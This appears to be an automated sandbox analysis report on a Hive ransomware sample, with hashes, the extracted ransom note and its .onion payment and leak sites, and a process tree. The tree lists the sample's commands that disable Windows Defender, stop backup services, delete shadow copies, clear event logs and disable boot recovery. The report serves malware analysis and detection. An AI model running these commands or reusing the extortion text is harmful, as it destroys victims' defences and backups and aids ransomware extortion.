Analysis

  • max time kernel
    1615s
  • max time network
    1686s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    30-10-2022 15:56

General

  • Target

    decoding_data.exe

  • Size

    3.4MB

  • MD5

    177417be748814f6168171a42545f9dd

  • SHA1

    9c8b988e66e0fe6f9dab69b1055e4ee200531094

  • SHA256

    47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35

  • SHA512

    c90eebbd4663ffe4bec089e21e4f7c1a1441e21a2f78cc190b9ce85fd048bf46901aa74273695df7b6434887284a26d4fdaaf657cb5d9c5469574158adc351c2

  • SSDEEP

    49152:EynbnX4Rsrb/TFvO90dL3BmAFd4A64nsfJUvelzON7j93aqSCD0BUCoQPr8bg11t:EyrAe2lS75Hw+i4JROD5R

Malware Config

Extracted

Path

C:\Program Files\7-Zip\Djfk_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: 8cqCy3hpBgcC Password: CVDT3LgEQvzteorqmxav To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.snwkz files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\decoding_data.exe
    "C:\Users\Admin\AppData\Local\Temp\decoding_data.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1404
    • C:\Windows\system32\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:460
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:1700
      • C:\Windows\system32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1680
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:304
        • C:\Windows\system32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1720
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:884
          • C:\Windows\system32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1956
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:1188
            • C:\Windows\system32\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1636
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:996
              • C:\Windows\system32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1436
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:680
                • C:\Windows\system32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1628
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:840
                  • C:\Windows\system32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2036
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:920
                    • C:\Windows\system32\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1708
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1916
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:852
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1952
                    • C:\Windows\system32\sc.exe
                      sc.exe config "UI0Detect" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1352
                    • C:\Windows\system32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1652
                    • C:\Windows\system32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1824
                    • C:\Windows\system32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:524
                    • C:\Windows\system32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:1888
                      • C:\Windows\system32\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:1988
                        • C:\Windows\system32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:988
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:1864
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:2028
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:568
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1684
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1752
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:536
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:560
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:1868
                                • C:\Windows\system32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:1464
                                  • C:\Windows\system32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:1156
                                    • C:\Windows\system32\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:920
                                      • C:\Windows\system32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:1908
                                        • C:\Windows\system32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:952
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:1356
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:1168
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:1112
                                                • C:\Windows\system32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:1780
                                                  • C:\Windows\system32\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:1996
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:1892
                                                      • C:\Windows\system32\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:1292
                                                        • C:\Windows\system32\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:1588
                                                          • C:\Windows\system32\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:1120
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:1808
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:1556
                                                                • C:\Windows\system32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:1108
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:2044
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:1424
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:976
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:916
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:1132
                                                                          • C:\Windows\system32\vssadmin.exe
                                                                            vssadmin.exe delete shadows /all /quiet
                                                                            2⤵
                                                                            • Interacts with shadow copies
                                                                            PID:2032
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1688
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1600
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1544
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1664
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1412
                                                                          • C:\Windows\system32\bcdedit.exe
                                                                            bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:1592
                                                                          • C:\Windows\system32\bcdedit.exe
                                                                            bcdedit.exe /set {default} recoveryenabled no
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:1376
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:840
                                                                              • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                3⤵
                                                                                • Deletes Windows Defender Definitions
                                                                                PID:1060
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:1480
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:760
                                                                              • C:\Windows\system32\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:1116
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:580
                                                                                • C:\Windows\system32\notepad.exe
                                                                                  notepad.exe C:\Djfk_HOW_TO_DECRYPT.txt
                                                                                  2⤵
                                                                                  • Opens file in notepad (likely ransom note)
                                                                                  PID:1920
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\decoding_data.exe"
                                                                                  2⤵
                                                                                  • Deletes itself
                                                                                  PID:156
                                                                                  • C:\Windows\system32\PING.EXE
                                                                                    ping.exe -n 5 127.0.0.1
                                                                                    3⤵
                                                                                    • Runs ping.exe
                                                                                    PID:1496

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v6

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                                                                              Downloads

                                                                              • C:\Djfk_HOW_TO_DECRYPT.txt

                                                                                Filesize

                                                                                1KB

                                                                                MD5

                                                                                96ad57ef6f7c434f4642a95f782e1ffa

                                                                                SHA1

                                                                                76b519f4c0d1b998e0c37ff3ffa8dc0024449eaa

                                                                                SHA256

                                                                                a1e2a8b6650198527b5066285ca32eaa06e583a282fa69511805979bb54560f1

                                                                                SHA512

                                                                                ba0ca31bc36c0d4e0868906a1f8576e902580286a68b2f137ea89a8c08f11c4d3fbce67e7327514ad0b37b6c3bdb7a6636742be99068bd661eaa70cbe41539c0

                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                Filesize

                                                                                7KB

                                                                                MD5

                                                                                babaac0ddeabbadb4837b05b5856fee2

                                                                                SHA1

                                                                                2243bc4c927aede79c981267d44970f0d7f6e495

                                                                                SHA256

                                                                                b8cc4831814c040575d0a5d8dc753acf9794fa9720518079500e258f672a7860

                                                                                SHA512

                                                                                0579420756012ef8206c4eec579f510c1d08e06f16ed83f16539fa08c880976f8262713ab74db4a9769cf8586cfcc81ea52cc6a31aec3e590d3320a81587120f

                                                                              • memory/580-131-0x0000000002864000-0x0000000002867000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                              • memory/580-130-0x000007FEEDFD0000-0x000007FEEEB2D000-memory.dmp

                                                                                Filesize

                                                                                11.4MB

                                                                              • memory/580-132-0x0000000002864000-0x0000000002867000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                              • memory/580-129-0x000007FEF2C00000-0x000007FEF3623000-memory.dmp

                                                                                Filesize

                                                                                10.1MB

                                                                              • memory/580-133-0x000000000286B000-0x000000000288A000-memory.dmp

                                                                                Filesize

                                                                                124KB

                                                                              • memory/760-122-0x000007FEF3F10000-0x000007FEF4933000-memory.dmp

                                                                                Filesize

                                                                                10.1MB

                                                                              • memory/760-126-0x000000000287B000-0x000000000289A000-memory.dmp

                                                                                Filesize

                                                                                124KB

                                                                              • memory/760-125-0x0000000002874000-0x0000000002877000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                              • memory/760-123-0x000007FEEEB30000-0x000007FEEF68D000-memory.dmp

                                                                                Filesize

                                                                                11.4MB

                                                                              • memory/760-124-0x0000000002874000-0x0000000002877000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                              • memory/1688-113-0x000007FEFBEE1000-0x000007FEFBEE3000-memory.dmp

                                                                                Filesize

                                                                                8KB